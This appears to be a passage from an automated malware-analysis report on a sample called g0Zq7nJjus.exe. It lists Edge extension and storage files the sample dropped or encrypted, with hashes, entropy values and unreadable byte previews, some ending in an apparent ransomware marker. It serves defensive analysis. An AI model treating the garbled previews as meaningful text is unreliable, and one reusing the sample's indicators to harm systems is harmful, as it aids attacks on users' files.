...[j....9]k^.H.n).@I}Q.w,^.ORd....h.K...o.............p.....D..[\|.Q....P.3f...j.l.+>=....h..04..;7-....T.........m.>k%F.......V.a?..o.r%,$V...B.?l..~........K.m.-........X.a#..lm..\....a..Z...A.8.....H.....Ss.)_E.a#....}..00....]..v...$&Ki...d@S...]..(.s.>`.1........t.t..G...9.......l.A..l@.F.......e....Y.k.pKXEt....,.r...TH.....!^..n..TT<.P.......Lq..(.[...H.......2.Q......pd0.n.n....+.V./.Qh-..^.f.N..-.W'.......E.._c..t.U.i...M.^.I..%..y..z........`...%RP+l..F..rRhJf..HN...x...c2.U...o._..Y..E..'.(u9../<..B..Zd.}N"=.%.\.L.@..@.<...//.._.t.O.9*ar`...&{1.M..Tp.h.e..........g#...N.B...'....]..{.q-A.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\vi\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1408
Entropy (8bit):	7.856017508179376
Encrypted:	false
SSDEEP:	24:4MFDQoey05fGLdgRP74Soq0IXStUbs7A5PrZ1GTCTDcN1jbmSh2bD:4M9W5+Jg/1XSa3rZETQcTjkD
MD5:	83A4D326130DC36C456CEF2E4CD25B9B
SHA1:	B7D0E03127D28026E5833B792A16E4ED23A7D73C
SHA-256:	BB8E9F3847A0BB1EE58F7AECFB5D0943E7D4C04921990701FD54D38F963D86A7
SHA-512:	5573F7AC59FA592018E2A657A439E04E77424FE7320F47B2EF84BF05DECED9F19A59DE87C01194E55322433F421827C561A10A7FEEED10C53A0F857D99130D2C
Malicious:	false
Preview:	{.. +n......m9. .E.G..am..)b.h....../......;.!....+...3..5^uO....?6...,.Y.\Y.....p..<.f\|.c}sw...;..'..=...#b..l(...w....J->..KAL...YP.,.@L;j.$.v.....3>.Uhm.......\..y6H"..l...,a.I...#6...x~[....x..L..J....2(....y...f............u..dF........t.C..4.2)'..JE<......G........:..~./.v.NY._1SAN..yJ.ae..l...4.w.F...;K./.k.$...D....s.D0m......].>.YD.R.....;+..U.......t.._..+^..0..I.........mo7..20.>../a...#3z+.y.0....L.5...R...d.X...[....r...eI].$...mR.4...l+ED....L3...c.+z...).<.YJ...(.l97xq..^..[....f.U.+..7.-..+.I..+^u.k4.....Z@..a..$.q(N.5..p.qvWs....Q.,+.\|...6.)@..M......C....."....9dw/..}.~.RL."U.J.c.U\|..W...@.......fi..U...b^.6..[......V....c. 7.7<.\|.....5...n....(...@.Ox...B.Lmx.....i...#,..\|.....-..b;.#.I.dt.v....hz.>.{o....5.Y.i.....^..Q..I. Q..".x_.M...R.....~.\|....)..#X.n$...dZ.e..W...?=.9.......k{~.}6.V...J.....f.......G..~.u....hU...s...A`.Y.&.#. .E.<.=....TX...^.....Y0..m.}}aJ...A..P.2.&..=.........9.w......bL..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_CN\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1213
Entropy (8bit):	7.82828516497101
Encrypted:	false
SSDEEP:	24:QWxe87h9CKgoQjiozCUM//NulKx4IzQf1lJWYfPgr68XLSgY2bD:QWc8EjtzCz//NulKx5QdlJTiXLSkD
MD5:	1DB5A8FD9AE6709FD4209166EAFF7F01
SHA1:	FBA7B45811DC322632F87DD22A5B99A22D01FA01
SHA-256:	75ECFA6169CA1ECF19A5F104DF92A24A86CA7AFDD995A964B2C209A72BF0AB9C
SHA-512:	1177D84807CCFDFC7ACC920E2757C5AE90B0C4CDEC51890ED5583D33E2517AD4E09D258061AB765014F7BD98113AC6A786FC24507BF5870BF5FB42431FE8B758
Malicious:	false
Preview:	{.. ./6..H^..6Xi....~g...a!r.q......p...en.N.._\.F..:d...E.%.`....o?V#7...!..K?...5..WEj...&$fcK.K...z}h../.\|.4....x........lD.Y.>.y..b...@....t....@..h.+@.{;.~..3....M.v.3.+.B....t.U..^9eq..+.@.6NH.k......yin....=.mb..]..9q.;g... P. ..L.o..U..{(.P.......=...'.6.0...v0G...f@.:`...^F..`Z.P...O..=.......)..'o.a.3c...C....~....-K.ML......B.-.C.B:..,c4..-..Oy.e.s..1.......<...0..H..G.'...X\.\J..-.....W..g..^1..$.=.@.Ls.....\._..:j.~.(...W`....@oK....gH.\|...x.....!.`.v....=...Cm....8Y.I~#.ba....)...K..v.W..HN..i0.j.<dq.n.J..]..7R..h....&..]Y...v...=C..Y..AN..Wyp.bMF.kZ.I<..'./..EH....6.n._.....W.B..Xx.F..?_H5e....5.(.<.....>..{ .......>.2..r..8C. ...T.<..8`.0.U.7.=_6.)w ..e,....KA...........d...Fl+....z4.n...k.......K...E..).....'j..b....mJlFu..dV.:.f0.l....."...M....}.Q.+....I......./.O..\%..@.p.W.......A.U..B..... ..[L^..8.(...,.S..~..=.PM)C.u.$GC..NG....xB....DX.uPh.T..xp`.F.....[A...].s.."....D.78=<..H...<...p..=n..I.Y.#..V......4.]J.{E..(.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_HK\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1539
Entropy (8bit):	7.865432839519251
Encrypted:	false
SSDEEP:	24:YUhvc/K7SGK6VvHXES75H/9yYq/cGv1jZVzl1Fgfz6sIDwnCx1Kg3w2bD:YA0C7SFgv/lHfW9VzlML67QCKgzD
MD5:	3D7310A8C4BFE3F5DF15BF9D9D3E0BC3
SHA1:	66A2AD81A884E1CEF1D8B3C4896725C3CC7CEEA8
SHA-256:	9DEBF91E239A138F93401FD19DC52110CB4294EDACD557C33AA18CFA969D1E67
SHA-512:	CC79F741BE34B7D179C5B4CBC7998B0FA1124145BBC08AD1A1093FC28AEE7A19AF4EE95E4057E8003AAE5B030C2DAA5AECC09D2E4DFC1A88C58B4000C2AEBAAF
Malicious:	false
Preview:	{"cree~.z.C.m.+.......R..xJ.%H[.R..W0..52R/..N.v.efe@.....+.>.R.........9...g.\.i_5.l..g-.v.9D...4,.S...M.....b#A..E.e....7.h$H..}.i..dA.9....h.S...3-.A.....g....;..m.V...M......\|.+m.....)......]...&..>pJX..D...\J._..hY.........Zz.".=........2.W.._.....C>Sg..\E......Vh....u...x ..0..Kk.j....et\|..v..a..=.nCC.m......D..-.C..0.X&?..[...t.P..J.6.gbB......%.h..... 2...@...m....WdG.......i...I..#...j^=.%.. ...=...z.y-....e0.s......W....0...T...@....J..l..cI./.p..C[......m.'Z.f.}+0<.......A..~r}o...G;..-....9.)..6..D.......y.\.F../..\|.%;ZN..9.[v...Q.y..!...9...cfY\.o..V.g........}Q. t8. .....J,_._.uf.!....>..D1..Z.... .P..,'Ew...8y.3.4.....Z.7..n......h...0..L.)y.....O........X~....:6.bxc...p.{.Q...2.!..{...",..D.M\|...y[_.c.~^qO..t.X-...c$K..P....]..P..p...N..mlK......,.,.h=./........q....W.#......p.i."C..(....M..s....{....YH.UB....@4+.7.a;L.b<.u...W..@..g.x.r...e.0..e.......,.[D.v.5.<..B}.._.I........sz..x[/v. P./......h.=.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_TW\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	7.827338660652294
Encrypted:	false
SSDEEP:	24:Y1Rkhb+fI/3zq+p5N/EAa/X0TOZdfow9SAQcEJJOSNzt1szn4ZMRz9IRGWgW2bD:B2I/OW5NMAa/X0CZdfccA9xg86RzGRGH
MD5:	71EB96FB49A4BBB0EEB09A7899CED44D
SHA1:	F940C86F5960D00F6C6A593CF8F86777EF8958F1
SHA-256:	B66F3936AFFA7A80B5C4F3803432E64CED6207FFE90A10B39EB349CBD92A5CFB
SHA-512:	645DC8DB27927C7E3690E51AF0ADE40C5983B0AD4F6D1B03FDA87279C6BF09624D6D4A7B067B444F99BCFB3129C5E47947A8669F7F88F329DB163DBC655D8E6D
Malicious:	false
Preview:	{.. ...r.p..L..L...z!.4#.68P5...K9a.>...v..R..#u.,..`......Z...Q.oi5K...tS..r]..o..'....G.........t.w..+I-X>dp.7,.......@..p./I........G\|.....l.P....H(1.0.T4G..~m...e...(...`..6..[h.5.-..J.{.+.X.....l..5.....:D..o....w....F....B!R.%..._.p...............An+..M.9.v..x.....%=...X6.%.,;!%.f....`<$.S......<..;.H.g.F.w......2..{...p9.!...'g.w..N7..V.e.......~.!......yz.m.....6m.S..[...[ot.....7.lQ...l....Y.Z..F..s...'...s...8....:+........hQ....\K.).y..Wvw...&id.i.:...<S..0jk...W...#v<C\|T.. +.....9.#.{.."Wl.G...j;._.^U.c[..]Y\......f./B.......,x..r].n..\|b./. o.(-.L....8.......L..=i.}.M..u...R.........t.. ../9..:0.6.w.!..D..2{.o..+.T..g.y...\|h.L,#+s..A.....`..o.3<..w.?.8..'vz..7\.H......q.......$..#-.I.&&>vM..k.G.t.=.RL&m{22wn.f)ZS/lr.K....x-/@......0.2....T..p..b..x.*.+....^,n.p.h..F...SlW.....g..V...wG......N.P.q...".O..qp.&'._c.L.P...V[.4$\|.w.Q.'..<.f(Xe.....T......t.Ju..q.4.W.R..q{E.-..=AFl....OH:.eu....0.<vZ....r\|g....F.D......TL...3.[h..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zu\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1246
Entropy (8bit):	7.814433686876195
Encrypted:	false
SSDEEP:	24:YD4Ala7K8nSM9CCZWpUMDJNWo4JuF5gc3U0e5jPztyOUey2bD:YDrla7KIrZW0y5cn5lyOxD
MD5:	C23BD19A753693F1C0E4095807E01C99
SHA1:	F06E1D33C21C3AC93231B7C5C29ECAA0629E659D
SHA-256:	E1DD1300E82D672DC8651B09482ED0C505B455348EE904EAC1EA6127CB758BA3
SHA-512:	75BDC1759878E7FA24261CBAE334BAC7867BBBB12E4DEF8A0954D19A74A9F7E0A084E1364CE96971264284B979FB5E0AD27E80A0352296AB41C3A4DBA1F70019
Malicious:	false
Preview:	{"cre.b.....p7.=..P...%...M...!.8sw.0.".1..M]y.w\p...5_1X......<`...GS.;.U..tc....v.8...LVp..r..P,.U#...0my.t..<.....N."(..f.7b..Va....y,.....vC..T)..s.1W.Fr.Cqq.3XZhg/m..Qu..5.....ZS#....B.h.`_i...N..H.K..........eC.>c..z..cD.&..5.bF..t.$).$J.......;.MCbm...C......6_\k_...d\..b...p.+;...%.3.ob.r.z..I....b5..\|.._s.j@...p...0:......Q.l.x._.B.s..+..6@.sZ......o.Q,...>.s.S;T...wX.?..6P..\|7. .3(.....y..K...H...Y..u..&.u._.........y2..t8...pdS......Z.%V.]O[..'...%ud.........\2..()Mt>..T.f...Cb...oG..j:..^..K.u...........\|6..U..!. .z.*./N.......u..X.e....K....8.B......hD.<.'q)...%>.{....A.-BF..C...[...%..>..n[.......q..1. ......e..i..y.K21...........@_.p.F...,.;`.frv.......%...q..H...d.N.w.5'. pa..IK...7.\|zW..Eh.........If..>Gd-.g\.}.":.X..ww.d.b5.l.......8.............>.{...._.r.....a..N..Ue.@.x.t....'.&...\-..pf.7cMA.q...H../8:.M:^~ph.~...9..j.l+.\|..!..`<.&[..n).....q.I.&.l...l.^....&....sz>.].d{.b...-..R..fU.Z.a.-.xx...?.2}."./..._x....bbG.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\dasherSettingSchema.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	7.825953357224262
Encrypted:	false
SSDEEP:	24:lcZa7JUEzg1O4m0SWyoAe9zEzFob6729TVrcMOD2bD:lr7JDgc4m0k88Fob6mhIYD
MD5:	3AB8DE25A3C964916AA8F78D1349154B
SHA1:	E17B4164BA23F05159DB9BD8AA6BF3CF0F967DCA
SHA-256:	D10C29255259485691334AD2346592A85DA9C1DB0B7604E08404021C4F53C982
SHA-512:	8EB2B3806FAF9C8E48BBFCEB0FAFDBD26961973F12FC4FFA0A6F8350D2A350762D7CAA14035F0BBE96D787CC42240CEDD56EA50AB01AD361E2CD6F5B01CE5646
Malicious:	false
Preview:	{. ".9.^."r......H...S.H.)..f.Wd..:.R=&..3........V..ji.~C.R..V.....J(O.`.?.......VG....k....eVV....].q..C..E..7..s..9...U!...mU;.Sn....R2u......@.6W..efo...!....&.Z.I.....[....-O..#..{GI..!..hYl@........q8.."z....k...~]...z##o.[.....lA.DZ.@..$.`...v.< ./...\.6_.....o.2.=.E..?....K....!.<=..XL..........B..".%....(..0.q.).YHy.DX.i.. ..n.1!H....%5L.O..\..t..l.......4fA/q.=.e.l...3.V.....x}:.n...F.I'.....h....M&........2.o..&Y.A..-..)..E...Sa..B.$...FZ..m#..{7..j.C.......L....S.W.i...O..!.i.=sua.m.{..L.2..;.v...S2..A.k..Ed99..'....Q.....a...........z...T.H.E........).....V....;.u.....f.RS.Z5..U.%....9........ve),.sF24Mt.......]L.-..~B>.....sI:..s3n84\..b#..K.nKb)......B........E.j.r.F...zw..,...g....SB.Kz..J~.xt[......Q....Hx....uD...0....}...X$...EZ.a..h.K.f>Sz..Zy]?._+..6...x.<..W.....s./..(.,.....F)..4.....DbS......w.E..C....(_1.5(......I.....7b1/....4..H..-.D.!'G.y.kN.U....}.>.'M..X.\..)...K.}...;..Q..gk.....t1......]..l.wPa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	80603
Entropy (8bit):	7.997693266917073
Encrypted:	true
SSDEEP:	1536:NlFQHKQ2PB0MlLqyuIUyPY1Ud9+DgQLDGDyjXrjBsH:NsHKQ2PO81n+Ud0GqXrjB4
MD5:	B2524FC231D8FD7B1AD591C0B3BD8947
SHA1:	B3331F00F8B33571D88980DB9CF0D9BBC4EB3966
SHA-256:	B30860173D777670590FB5BE2C4AAE55B0F258BB127EC5426F8BE81543E8E4CE
SHA-512:	F6A9CA7DC2803616A9442D6D9E300E3AE24E7C1031515B936307A295E109DB0CE9C84CCC12EB06DAA5323F8A9B01D18B045E288AA0C6EE7E650AD5985CBC6B56
Malicious:	true
Preview:	/.. .........;.......eX.=.....$.Pg\|spf%....>.IL......m.o:..p...7.k...j...K.. .oQ.PJ$Q.['1..U.3.x...,.(><^I..f\|C..j..%].~n.....]..x...C..ve........D!x........=.B.....5]...U.]1,a...V..R...r.vL...^ .x....CP..(.#.w;.6.)~}Z..<..I..]%.WC.R........K...d...`...n(.]C.....P..G..............h.....uG...-....v.w......A.C7'...J..f..[xucj.u.k..........{...!..(..BNU...!.,s...Y....K.U...~KQy.?.;..D.oR.@V.9p..^+..,.......)....?.T-..\D..i.....gT...........~.....F.......W..6G...u.W.<@.j......../3g]........OV......po.F3....R.8..3...x.4u.V.'.[.....Z53..U[..Q........=.rc..)...z.0..\....-..BQ...w.A8.!$. TU.r.....P[.M..2..J..6u......6%..u.A..).i.f...;uR.&..X.b.ZQ-.....1#?.L...b.w......z..C..x...J......H..//F>..yV..M.v`...I.m.>'..._..W....K.m...Qh.W......g..x..Wg..Y8 ......3.....,..#....\.0./#.0..r.t.......N......+ [..Z.wck{j1j!1..W.z..?~@.uEn.....cC....I.AQ......e..Ym.......S.[.F#.*...u:...Q...'Q...d.&..'..h...W.9.H..-dO.O.H..Wp.....BV.k........L~....z.. [p.g..F....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2731
Entropy (8bit):	7.933932673180185
Encrypted:	false
SSDEEP:	48:XuraNG8BY/divDJlq5gBsAAeAa/VrZCfZH59OKobTikeia4Y3D:+raNTG/uDJl0jAAexXcR59FoKkeiaBz
MD5:	6EC8176C208DCE537CCBFF91EE0C1019
SHA1:	D5C0906B1C606A243474AC06B2AA4CE46E0074AF
SHA-256:	5A368961CD8EF2322E53AF35B81C5B5C8A0D9ED106BDEEE2B32443F6CFD557BD
SHA-512:	DD83EEDF02A2DF3D6E698DA866A160226301B58901215368CA71B60F76CEC11909883A273B502A022976F22A823456763DD643284ABC001E74AE2ED5F0F3C11F
Malicious:	false
Preview:	{.. ..1.. O5[.k.0j[s......U..@..`}.1..4l.0.K..xXg.U.z.#...@C/..k..:\B.c.".....q.V...F..!p.c..dqz..T.B.X~..(59.\.s<qB.M....A1..js..u?@o.....z.1l......U..l.88k.(.!..c.=R..\..iB=.g..=X.(C...w...............V!\...Z....l@.v....}.....$J. F.@.".j....(.s.N...J\|.l.e..)..o.X..I.2..h....._./.0e.........B.$xE.i..B...0.....uw..5.7.t..d.cK.....f6...h0....=.Q+..X{U...uI...@].{...V...x.v.r...?.....N%...1.....$.....x..........(.}.(..qu1Gf.F$\.?RG.B.x.?....?;..:.`....Y%al.T..S."])..y..xW..V..5....u..9.`..q4......EC8...PWH...T.O~<..O#...8?U.L.q+s\|..Hn.'...o..cA....V..]>S@..5?...E.+....8;....E.......p~..Kh....)tmD6..M&.[@..!qo...B9k.fjo?v'!....x@7....RL.....:.&....vn......{.(w........(.Nn.\|..4.V...0.a..nq.n.D...'..P.oz.S...z.S....].M.z..}..".j.yz...W..>&.}{..o....YHQ..y5....0..QH....j.V..I.%_...g0._..:;...<. .I..-..&U.......K.z........D+q19n...\..Qab. []~#l..?.....b..zBW"...I.Z=..B]........9ay...\|6L.`.9.K^........b.!.9~...[.Y....0..F....n...al.....9.f.O

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\page_embed_script.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.547885087864427
Encrypted:	false
SSDEEP:	12:2yYaCWxhlfL6WMOXCoJuVBKxdCIbiPFPfVtsHgvj8yiKbeWSUdNcii9a:27WxhpLZXfN2vltsjxqM2bD
MD5:	D89219A553A67008F815731C34FD55B4
SHA1:	67A24D787E0A27D85070026A1209B70CE4989DE4
SHA-256:	4CDF4D3932D3F5032F51A82BE8E0DB861F3E3E6E9D830F791D7B6B22EC000271
SHA-512:	6822A3D50A2EF3D67597A8583D619278A678B99DB9700A10EF8B15D99D02E574BB1A77E338B5815016290E55A8173E005C24F6666283A56537E16ED7F405DE08
Malicious:	false
Preview:	(func.:f...b&./.....$.......7..0......j...eXx..#$S..!....F..=.~.!v.m.y5..<b...."J{YZ.5.g..8~...i.6......4.j./...m.Q>.z........V...4.Y7..7.>.9-..Bo.!q......\|..#.EgW.)/V.2b..]sHz..9....8.4H....{.. ..9T[..K..#.:x...5-V.2.X... ......=U..G.#...{r.e.\......w6.Y.d.>.mqV/..g{.E(.>Ts..L..z.P.+..A.=G..Y.r...x....3Rk(....p.Dk.sv..c.........r....(...........+@/Rs..R>&. .g.u..{.f...N(4x.......y..{6....5.2f...J.R..\|....$AnC.q.Zb..!NO-....s.'V..X.t.T'....&h,em..0....$..0.p.G.1..\|.YHr.q...GB...S.!.t1...\.~..H/..L/..E...~BA..XmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	9751
Entropy (8bit):	7.978523145634316
Encrypted:	false
SSDEEP:	192:2P13CTiW1bobUm+c2DTq0gJ5FDRthbKOzZLBfU92UicGKvn:O+Riy1Tq9FDRTeUVtcGKf
MD5:	31F87F4133E179196D661F7FD500F4BE
SHA1:	A98D56077BDF096FF362BF7AFF360BF878C9535F
SHA-256:	D07FE5674601420040B6C349000F31CA0F8DFD84D4D422EA132ABC674CF66013
SHA-512:	0B574AC3E872DCD00042B7508F12562B60B96F6A8AC304E8EA5399885826B707BEBF443694C9882D78999755C335EBAF9AAE615B9E85B86EE983AD75B947E801
Malicious:	false
Preview:	(()=>........t..:frT.7..)P.....Y..>SC..............u\.o...._8.......O.U.b...Qc.0(u.-.J_.`.IM......B....\6z.k..a.g.Y.c .k.F.qm(s......I......9.jZ.....L.D..<u..'......:S..t%;rGe~l...{<A.8.u...\|.9K...._dz'..Z+\|P.?..Mv.R..K..V....L....I./.S. ..`.D....XB.L.....I1.L...E.G..Z...............k..S).Y.u..M..O.....A..AidG.xf..S.....e....9.J.;../.y.?..}-......5Zj.E..........._c..).'N..3........HV..p.\|.... .`F.n.-=..._Q...e!jl...D..aH.e.....~d8C.<.!..S...7.3.0..c~z.....J..3..?3...).$..JrG..Y#J..l..%.b}.......].p.G.:.....sV...Q.)HCl..^.._co.p.9.C7...P.=~...4....>_.Tx.....].!.2.....Pl;\|.v..n...#r.#b./.{...9P;s..x..O=......^...N`...!..5..K...i(.)n.....K......XfY..Z...N_.j.m..... ._..3.>.J...ZY.9yW.N.Lo.@..}2..[.l.;eQ..p....s./-5.. H.-.= .....+R......._...Vu....8....<."/....b....p.9..E.<+L...np...2...=.O]HR..>w..&...\:!..Um.G...hL...=-..<18..3..[..\f..v.[).J..`...../i}E.3V2c....lcz..{.v&9...Y....:..1?8.....J;..@+rd..g.]U47........6.{Lb...(.;.Gi.Y../

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content_new.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	10104
Entropy (8bit):	7.981165757226073
Encrypted:	false
SSDEEP:	192:3wABRHS2Cd1hIrGtLpGoZU8+JioKKU/1KFpBlzEUTA8UtWuC2mQbWQoa1H7ZlYTB:3wEHC4lqUT4oKKmclQaUtW/tY9YJHUQT
MD5:	C90DEFB120C5F6CCDC8E68BBDBACFC83
SHA1:	3D8DD853AC00C64DD9C2179F356F0DE421470188
SHA-256:	0F579B7E22F043679E124E7AFB49864F64C683193AC70CCB4C689F891E435077
SHA-512:	447CB7AEC31B7AC44BE78BCB9B1C3900761AD005AF32DB756329FA8A84E7ECA4C64B565F4C2FB1993474ABFC58F82F6C0682B0765336F424F1B41F1FEE9AC29F
Malicious:	false
Preview:	(()=>.....=x....l"n....[%.C.B1..c...^.?....k.yz.,d.S..M_.tD.`)5(.......3.- .R....>...#O.U......q.....(........{V...;{A.#.N..1..J..\....l.1...KL....p;....[..\|....W.(.w.P.l .%.~.4.G.....@.nK?.+r....n.V.....ei.D.V+(...eI...fQ]...........)n....J.'.$a..J.....L..\|...p.?Z.2.../.x.\|.[...J,;...V%].!C\|f..$.{.....m......R:Y..........I..k..7.@.........W...+...k.......H5..t..&..~..Y>.e....FFW.3.....\|...s..nocPc............Zkb..VxMe.y.e^XO..q..&&Xj........\|T..\|'.{.W......T....U...\|;..F...W.......@..#.xmPB.\|...7K.....h.Rj..S....&..B.C.i[$l......37.I-..C............WW4=..lI=.P......(...%.y5.g.....BMV#.En9.....}3...n.y.Z.6...[z.c..+......i...P.&r....J..:..C.!..`.K.....7g!^....7....'.P..D.s*.}..o...j.".!k...=..d".2..T...S.W...d..9.....&q.{.G.WKY...2..e..w..AE..A....-4d;7...Q.jL8......[....%..R.O.v..l..9....<.s.x....._.....+[...V.Z...r..'.....A2....Bl.H...;.OM[..5.C..3..$Y/-....d..\.i.....%D.-m...zb..=.1.^._.\|....W..A.vU(....O~D....x5...V..1.X.k.s..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1296
Entropy (8bit):	7.8511240145606465
Encrypted:	false
SSDEEP:	24:3p/M/jHLVFd8s7c6SURycFsnBTjfVgRDAx0ehqXQ13bdXEa2bD:ZoHC+c6S/cFkJjV+DmLhqX8uD
MD5:	E8102B8E7E64172B4EE6E1D1BEF06479
SHA1:	FAA44F22E0E58B1FD1693B87B049BC560168C3FB
SHA-256:	3238BCDDE9A2B7105632F280E447BAD053102503CF505DEDB9339DE2F6101DE2
SHA-512:	D2D6F1A2E60D9874F2ECF83783C088BB1A598BE1FF097CC05BCAFDA3C7A45636FB6F64FFA3C4D939653A3C540BD7A7D494725051BF33EC88DF096A8B8BFF033C
Malicious:	false
Preview:	{.. ._...?a......2.(...@e{s.IW.A..c ..At1A....%tz.@.aVq..;wf.......y.Yi4j.....\|`.5..h.gR..dK.oN.+.f..S.S5..?...I>...P...v.....@.T..$..3K.Kr.6..G..9-fO.....1.....#..A.:J.G......CF..yp..G(.t8.6.%..9..{.......\|.1n.4+..1z...{F)..~.Hz.^U.H..9..@......p.."C.G.$.G...s...mh.......\|..!.j..u..T3.t.0...`...f.....:L..k.m..M(p~.Hx.n...F.m.Avt.."7.."...%I..V.r.....>.^.......g..M..BqtF...p...&..0K:y.._..<...?omrcT..L............z^d......A..h...>.l..C........../...K....R.No\...."X..`.T.x\sV#.K$.=.....}5k.}...y.t}2.......M....r..f..-..;..4...w KQn.......l..f...s.......,%N.7#8..B4....2...8....M.&..F.A1.ch{..r..<.j2,E.(#.....1...^J@......_.#~.s...c.C...?....K.V(]{:.^....,..kO8E.......:.w..b+?....X.&..fmWntI...lL3H...x.b~;...P]E6M.<..b.....>...&.._.B.F...~6j./f......6...}.s1.L..o..)m.u;o.e...Hi....:p...B>......l.....J..,........eW.k......a....YE..3?..}...}.%..(J.......9..E..^.<.....p..J..8:s\|... ...}...K....!.=.A.i...!6.+./..p...I{a}s.i..9>... .d6..B.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	674
Entropy (8bit):	7.6768102038714
Encrypted:	false
SSDEEP:	12:kim7Mtx8I1sFV55efdS6fDiSwHT0EllDSJx9Hu1pZo1VDAo5oM6vmMkdzjBIkH/N:oMtxYfCfRfWSwgE3SJLHu1pZoHDN5o7G
MD5:	B50B47B563467300E8D43E7C9D226816
SHA1:	3EA834A59A8843A04072F5FB7BB29C9866C83E41
SHA-256:	D0B34E0895750DFD3C114201180C56A3C30020E5B59320E9C7D7F4B2E2057CBF
SHA-512:	EEC098CE972C1CA2EC4C623A880B0985F9826C497471D932AF93052C5342B02F3FAE2E69DCB2A80F22E8011D5CA293B457759CDBBFA39BAB14D1400837E4833D
Malicious:	false
Preview:	2023/53.b$.."..N\|(......^.\|........!..X.]{..\|v..1...0..5....H.`[<.6.....x!E(.-...Z..TFP...>?,........d.6m."."........9b...0...GK..[....7\|...%.7..b.!.....G.....X...F)s....V...4\|...s.f..k.$.....$.gS.d.2p......r..S....q...@=......x.......k..;.....W...R.zEe.Mt.'D.;>.........D......,..~,.4c.N.?,?.....&[.\..W.v=....`.`%...q\|#q.. ..OrU$7.#h.q.b..=.........;...s.k..Wj.>bz...Ur...[.4x...P.R..P..1..M~.H.u.\./........./c.....k.\...n$.......%L/ ).EG.lv.r..>....6......7...QyTD;S...\...y......!.....H.W..'...L$S....V...s7`..$.....gsq!..a...gSB../..c.e.)..fg...Z....;..6.@l..-VxmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	395
Entropy (8bit):	7.4096422306809515
Encrypted:	false
SSDEEP:	12:ScWBljF3ORAKs6layzslZmYjg10RSSUdNcii9a:aBeGYaosyYc1wh2bD
MD5:	6AAB7169E8EDA749B6BE901EDEBCEA8B
SHA1:	C859A1A086E0FA8ACC16FE33611C95D31F3C588D
SHA-256:	C8011BF6445E418F7E6AB3D8276BC88C8D157AE842802CCCE1905B3BB46125D6
SHA-512:	AB9884AE51BE5FA51A3A40FB3E62614751629ED4557134E048BEA93E42E0A6D32A69E4A0CFB78A0A9BBDDF840F1F92DBFB66D37AF6C2767549D1F861573A36F7
Malicious:	false
